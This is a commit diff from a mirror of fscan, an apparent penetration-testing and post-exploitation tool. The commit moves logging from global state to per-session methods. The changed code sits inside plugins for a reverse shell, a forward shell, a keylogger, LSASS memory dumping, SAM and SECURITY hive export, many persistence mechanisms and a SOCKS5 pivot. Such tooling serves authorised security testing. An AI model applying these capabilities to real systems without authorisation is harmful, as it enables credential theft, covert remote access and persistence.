mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-24 04:01:52 +08:00
refactor: 完成全局状态到 session 的完整迁移
将 plugins/services、plugins/local、plugins/web、webscan 层的日志输出、 漏洞结果保存和 TCP 计数器从全局 common.Log*/GetGlobalState() 迁移到 session 实例方法,确保 SDK 并发扫描时各实例完全隔离。 - 50 个文件,所有插件日志走 session.Log* - DoRequest 加入 session 参数,计数器走 session.State - POC 执行器通过 POCContext.Session 传递 - 仅保留 init() 和 CEL runtime 等无 session 场景的全局回退
This commit is contained in:
@@ -44,7 +44,7 @@ func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
cleaned += p.cleanUnix(&output)
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("cleaner_success", cleaned, 0))
|
||||
session.LogSuccess(i18n.Tr("cleaner_success", cleaned, 0))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: cleaned > 0,
|
||||
|
||||
@@ -129,7 +129,7 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
output.WriteString("\n" + i18n.Tr("persistence_complete_summary", successCount, 5) + "\n")
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("crontask_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("crontask_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -53,7 +53,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
|
||||
|
||||
// 启动正向Shell服务器
|
||||
err := p.startForwardShellServer(ctx, port, state)
|
||||
err := p.startForwardShellServer(ctx, port, state, session)
|
||||
if err != nil {
|
||||
output.WriteString(i18n.Tr("forwardshell_server_error", err) + "\n")
|
||||
return &plugins.Result{
|
||||
@@ -64,7 +64,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
}
|
||||
|
||||
output.WriteString(i18n.GetText("forwardshell_done") + "\n")
|
||||
common.LogSuccess(i18n.Tr("forwardshell_complete", port))
|
||||
session.LogSuccess(i18n.Tr("forwardshell_complete", port))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
@@ -75,7 +75,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
}
|
||||
|
||||
// startForwardShellServer 启动正向Shell服务器
|
||||
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int, state *common.State) error {
|
||||
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int, state *common.State, session *common.ScanSession) error {
|
||||
// 监听指定端口
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
|
||||
if err != nil {
|
||||
@@ -84,7 +84,7 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i
|
||||
defer func() { _ = listener.Close() }()
|
||||
|
||||
p.listener = listener
|
||||
common.LogSuccess(i18n.Tr("forwardshell_started", port))
|
||||
session.LogSuccess(i18n.Tr("forwardshell_started", port))
|
||||
|
||||
// 设置正向Shell为活跃状态
|
||||
state.SetForwardShellActive(true)
|
||||
@@ -111,17 +111,17 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i
|
||||
if errors.As(err, &netErr) && netErr.Timeout() {
|
||||
continue
|
||||
}
|
||||
common.LogError(i18n.Tr("forwardshell_accept_failed", err))
|
||||
session.LogError(i18n.Tr("forwardshell_accept_failed", err))
|
||||
continue
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String()))
|
||||
go p.handleClient(ctx, conn)
|
||||
session.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String()))
|
||||
go p.handleClient(ctx, conn, session)
|
||||
}
|
||||
}
|
||||
|
||||
// handleClient 处理客户端连接
|
||||
func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn) {
|
||||
func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn, session *common.ScanSession) {
|
||||
defer func() { _ = clientConn.Close() }()
|
||||
|
||||
// ctx 取消时关闭连接,解除阻塞的读操作
|
||||
@@ -154,7 +154,7 @@ func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Co
|
||||
}
|
||||
|
||||
if err := scanner.Err(); err != nil && ctx.Err() == nil {
|
||||
common.LogError(i18n.Tr("forwardshell_read_failed", err))
|
||||
session.LogError(i18n.Tr("forwardshell_read_failed", err))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -71,7 +71,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
}
|
||||
|
||||
// 启动键盘记录
|
||||
err := p.startKeylogging(ctx, outputFile)
|
||||
err := p.startKeylogging(ctx, outputFile, session)
|
||||
if err != nil {
|
||||
output.WriteString(i18n.Tr("keylogger_failed", err) + "\n")
|
||||
return &plugins.Result{
|
||||
@@ -86,7 +86,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
output.WriteString(i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n")
|
||||
output.WriteString(i18n.Tr("keylogger_log_file", outputFile) + "\n")
|
||||
|
||||
common.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer)))
|
||||
session.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer)))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
@@ -97,7 +97,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
}
|
||||
|
||||
// startKeylogging 启动键盘记录
|
||||
func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string) error {
|
||||
func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string, session *common.ScanSession) error {
|
||||
|
||||
// 根据平台启动相应的键盘记录
|
||||
var err error
|
||||
@@ -117,8 +117,8 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string
|
||||
}
|
||||
|
||||
// 保存到文件
|
||||
if err := p.saveKeysToFile(outputFile); err != nil {
|
||||
common.LogError(i18n.Tr("keylogger_save_failed", err))
|
||||
if err := p.saveKeysToFile(outputFile, session); err != nil {
|
||||
session.LogError(i18n.Tr("keylogger_save_failed", err))
|
||||
}
|
||||
|
||||
return nil
|
||||
@@ -159,12 +159,12 @@ func (p *KeyloggerPlugin) addKeyToBuffer(key string) {
|
||||
}
|
||||
|
||||
// saveKeysToFile 保存键盘记录到文件
|
||||
func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error {
|
||||
func (p *KeyloggerPlugin) saveKeysToFile(outputFile string, session *common.ScanSession) error {
|
||||
p.bufferMutex.RLock()
|
||||
defer p.bufferMutex.RUnlock()
|
||||
|
||||
if len(p.keyBuffer) == 0 {
|
||||
common.LogInfo(i18n.GetText("keylogger_no_input"))
|
||||
session.LogInfo(i18n.GetText("keylogger_no_input"))
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -123,7 +123,7 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
output.WriteString("\n" + i18n.Tr("ldpreload_complete_summary", successCount, 4) + "\n")
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("ldpreload_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("ldpreload_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
+12
-12
@@ -88,7 +88,7 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
_ = session.State
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
common.LogError(i18n.Tr("minidump_panic", r))
|
||||
session.LogError(i18n.Tr("minidump_panic", r))
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -110,7 +110,7 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
// 方式1:直接 MiniDumpWriteDump(无杀软时尝试)
|
||||
if !avActive {
|
||||
output.WriteString(i18n.GetText("minidump_try_direct") + "\n")
|
||||
if ok := p.tryDirectDump(ctx, pm, &output); ok {
|
||||
if ok := p.tryDirectDump(ctx, pm, &output, session); ok {
|
||||
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
|
||||
}
|
||||
} else {
|
||||
@@ -119,13 +119,13 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
|
||||
// 方式2:comsvcs.dll(系统签名DLL,部分杀软不拦截)
|
||||
output.WriteString(i18n.GetText("minidump_try_comsvcs") + "\n")
|
||||
if ok := p.tryComsvcsDump(pm, &output); ok {
|
||||
if ok := p.tryComsvcsDump(pm, &output, session); ok {
|
||||
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
|
||||
}
|
||||
|
||||
// 方式3:reg save 导出注册表 hive(离线破解,不碰 LSASS)
|
||||
output.WriteString(i18n.GetText("minidump_try_regsave") + "\n")
|
||||
if ok := p.tryRegSave(&output); ok {
|
||||
if ok := p.tryRegSave(&output, session); ok {
|
||||
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
|
||||
}
|
||||
|
||||
@@ -133,7 +133,7 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
return &plugins.Result{Success: false, Output: output.String(), Error: errors.New(i18n.GetText("minidump_all_methods_failed"))}
|
||||
}
|
||||
|
||||
func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder) bool {
|
||||
func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder, session *common.ScanSession) bool {
|
||||
pid, err := pm.findProcess("lsass.exe")
|
||||
if err != nil {
|
||||
output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n")
|
||||
@@ -155,10 +155,10 @@ func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager,
|
||||
return false
|
||||
}
|
||||
|
||||
return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct"))
|
||||
return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct"), session)
|
||||
}
|
||||
|
||||
func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder) bool {
|
||||
func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder, session *common.ScanSession) bool {
|
||||
pid, err := pm.findProcess("lsass.exe")
|
||||
if err != nil {
|
||||
output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n")
|
||||
@@ -175,10 +175,10 @@ func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Buil
|
||||
return false
|
||||
}
|
||||
|
||||
return p.reportSuccess(output, outputPath, "comsvcs.dll")
|
||||
return p.reportSuccess(output, outputPath, "comsvcs.dll", session)
|
||||
}
|
||||
|
||||
func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder) bool {
|
||||
func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder, session *common.ScanSession) bool {
|
||||
files := map[string]string{
|
||||
"SAM": filepath.Join(".", "sam.hiv"),
|
||||
"SECURITY": filepath.Join(".", "security.hiv"),
|
||||
@@ -199,19 +199,19 @@ func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder) bool {
|
||||
|
||||
if saved == 3 {
|
||||
output.WriteString(i18n.GetText("minidump_regsave_done") + "\n")
|
||||
common.LogSuccess(i18n.Tr("minidump_regsave_success"))
|
||||
session.LogSuccess(i18n.Tr("minidump_regsave_success"))
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method string) bool {
|
||||
func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method string, session *common.ScanSession) bool {
|
||||
fi, err := os.Stat(path)
|
||||
if err != nil || fi.Size() == 0 {
|
||||
return false
|
||||
}
|
||||
output.WriteString(i18n.Tr("minidump_method_success", method, path, fi.Size()) + "\n")
|
||||
common.LogSuccess(i18n.Tr("minidump_success", path, fi.Size()))
|
||||
session.LogSuccess(i18n.Tr("minidump_success", path, fi.Size()))
|
||||
return true
|
||||
}
|
||||
|
||||
|
||||
@@ -68,7 +68,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
|
||||
|
||||
// 启动反弹Shell
|
||||
err = p.startNativeReverseShell(ctx, host, port, state)
|
||||
err = p.startNativeReverseShell(ctx, host, port, state, session)
|
||||
if err != nil {
|
||||
output.WriteString(i18n.Tr("reverseshell_error", err) + "\n")
|
||||
return &plugins.Result{
|
||||
@@ -79,7 +79,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
}
|
||||
|
||||
output.WriteString(i18n.GetText("reverseshell_done") + "\n")
|
||||
common.LogSuccess(i18n.Tr("reverseshell_complete", target))
|
||||
session.LogSuccess(i18n.Tr("reverseshell_complete", target))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
@@ -90,7 +90,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
}
|
||||
|
||||
// startNativeReverseShell 启动Go原生反弹Shell
|
||||
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State) error {
|
||||
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State, session *common.ScanSession) error {
|
||||
// 连接到目标
|
||||
conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port)))
|
||||
if err != nil {
|
||||
@@ -98,7 +98,7 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
common.LogSuccess(i18n.Tr("reverseshell_connected", host, port))
|
||||
session.LogSuccess(i18n.Tr("reverseshell_connected", host, port))
|
||||
|
||||
// 设置反弹Shell为活跃状态
|
||||
state.SetReverseShellActive(true)
|
||||
|
||||
@@ -51,10 +51,10 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
|
||||
output.WriteString(i18n.Tr("local_listen_port", port) + "\n")
|
||||
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
|
||||
|
||||
common.LogInfo(i18n.Tr("socks5_starting", port))
|
||||
session.LogInfo(i18n.Tr("socks5_starting", port))
|
||||
|
||||
// 启动SOCKS5代理服务器
|
||||
err := p.startSocks5Server(ctx, port, state)
|
||||
err := p.startSocks5Server(ctx, port, state, session)
|
||||
if err != nil {
|
||||
output.WriteString(i18n.Tr("socks5_server_error", err) + "\n")
|
||||
return &plugins.Result{
|
||||
@@ -65,7 +65,7 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
|
||||
}
|
||||
|
||||
output.WriteString(i18n.GetText("socks5_done") + "\n")
|
||||
common.LogSuccess(i18n.Tr("socks5_complete", port))
|
||||
session.LogSuccess(i18n.Tr("socks5_complete", port))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
@@ -76,7 +76,7 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
|
||||
}
|
||||
|
||||
// startSocks5Server 启动SOCKS5代理服务器 - 核心实现
|
||||
func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, state *common.State) error {
|
||||
func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, state *common.State, session *common.ScanSession) error {
|
||||
// 监听指定端口
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
|
||||
if err != nil {
|
||||
@@ -85,7 +85,7 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta
|
||||
defer func() { _ = listener.Close() }()
|
||||
|
||||
p.listener = listener
|
||||
common.LogSuccess(i18n.Tr("socks5_started", port))
|
||||
session.LogSuccess(i18n.Tr("socks5_started", port))
|
||||
|
||||
// 设置SOCKS5代理为活跃状态,告诉主程序保持运行
|
||||
state.SetSocks5ProxyActive(true)
|
||||
@@ -98,7 +98,7 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
common.LogInfo(i18n.GetText("socks5_cancelled"))
|
||||
session.LogInfo(i18n.GetText("socks5_cancelled"))
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
@@ -115,17 +115,17 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta
|
||||
if errors.As(err, &netErr) && netErr.Timeout() {
|
||||
continue // 超时继续循环
|
||||
}
|
||||
common.LogError(i18n.Tr("socks5_accept_failed", err))
|
||||
session.LogError(i18n.Tr("socks5_accept_failed", err))
|
||||
continue
|
||||
}
|
||||
|
||||
// 并发处理客户端连接
|
||||
go p.handleClient(ctx, conn)
|
||||
go p.handleClient(ctx, conn, session)
|
||||
}
|
||||
}
|
||||
|
||||
// handleClient 处理客户端连接
|
||||
func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn) {
|
||||
func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn, session *common.ScanSession) {
|
||||
defer func() { _ = clientConn.Close() }()
|
||||
|
||||
// ctx 取消时关闭连接,解除阻塞的 IO
|
||||
@@ -137,22 +137,22 @@ func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Con
|
||||
// SOCKS5握手阶段
|
||||
if err := p.handleSocks5Handshake(clientConn); err != nil {
|
||||
if ctx.Err() == nil {
|
||||
common.LogError(i18n.Tr("socks5_handshake_failed", err))
|
||||
session.LogError(i18n.Tr("socks5_handshake_failed", err))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// SOCKS5请求阶段
|
||||
targetConn, _, err := p.handleSocks5Request(clientConn)
|
||||
targetConn, _, err := p.handleSocks5Request(clientConn, session)
|
||||
if err != nil {
|
||||
if ctx.Err() == nil {
|
||||
common.LogError(i18n.Tr("socks5_request_failed", err))
|
||||
session.LogError(i18n.Tr("socks5_request_failed", err))
|
||||
}
|
||||
return
|
||||
}
|
||||
defer func() { _ = targetConn.Close() }()
|
||||
|
||||
common.LogSuccess(i18n.GetText("socks5_connected"))
|
||||
session.LogSuccess(i18n.GetText("socks5_connected"))
|
||||
|
||||
// 双向数据转发
|
||||
p.relayData(clientConn, targetConn)
|
||||
@@ -182,7 +182,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
|
||||
}
|
||||
|
||||
// handleSocks5Request 处理SOCKS5连接请求
|
||||
func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, int, error) {
|
||||
func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *common.ScanSession) (net.Conn, int, error) {
|
||||
// 读取连接请求
|
||||
buffer := make([]byte, 256)
|
||||
n, err := clientConn.Read(buffer)
|
||||
@@ -272,7 +272,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
|
||||
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_success_response_failed"), err)
|
||||
}
|
||||
|
||||
common.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr))
|
||||
session.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr))
|
||||
return targetConn, localPort, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -83,7 +83,7 @@ func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("sshkey_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("sshkey_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -132,7 +132,7 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo,
|
||||
output.WriteString("\n" + i18n.Tr("systemdservice_complete_summary", successCount, 5) + "\n")
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("systemdservice_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("systemdservice_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -30,7 +30,8 @@ type avProduct struct {
|
||||
|
||||
type SystemInfoPlugin struct {
|
||||
plugins.BasePlugin
|
||||
output strings.Builder
|
||||
output strings.Builder
|
||||
session *common.ScanSession
|
||||
}
|
||||
|
||||
func NewSystemInfoPlugin() *SystemInfoPlugin {
|
||||
@@ -41,18 +42,19 @@ func NewSystemInfoPlugin() *SystemInfoPlugin {
|
||||
|
||||
func (p *SystemInfoPlugin) log(key string, args ...interface{}) {
|
||||
msg := i18n.Tr(key, args...)
|
||||
common.LogInfo(msg)
|
||||
p.session.LogInfo(msg)
|
||||
p.output.WriteString(msg + "\n")
|
||||
}
|
||||
|
||||
func (p *SystemInfoPlugin) logSuccess(key string, args ...interface{}) {
|
||||
msg := i18n.Tr(key, args...)
|
||||
common.LogSuccess(msg)
|
||||
p.session.LogSuccess(msg)
|
||||
p.output.WriteString(msg + "\n")
|
||||
}
|
||||
|
||||
func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||
common.LogSuccess(i18n.GetText("systeminfo_start"))
|
||||
p.session = session
|
||||
session.LogSuccess(i18n.GetText("systeminfo_start"))
|
||||
|
||||
p.collectBasicInfo()
|
||||
p.collectNetworkInfo()
|
||||
|
||||
@@ -82,7 +82,7 @@ func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
}
|
||||
|
||||
if successCount >= 3 {
|
||||
common.LogSuccess(i18n.Tr("winbits_success", jobName))
|
||||
session.LogSuccess(i18n.Tr("winbits_success", jobName))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -59,7 +59,7 @@ func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winifeo_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winifeo_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -58,7 +58,7 @@ func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winlogon_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winlogon_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -61,7 +61,7 @@ func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winregistry_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winregistry_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -74,7 +74,7 @@ func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winschtask_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winschtask_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -64,7 +64,7 @@ func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, sess
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winservice_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winservice_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -59,7 +59,7 @@ func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winstartup_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winstartup_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -64,7 +64,7 @@ Write-Output "TOTAL:$ok"`,
|
||||
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput()
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out)))))
|
||||
session.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out)))))
|
||||
}
|
||||
result := string(out)
|
||||
|
||||
@@ -81,7 +81,7 @@ Write-Output "TOTAL:$ok"`,
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winwmi_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winwmi_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
Reference in New Issue
Block a user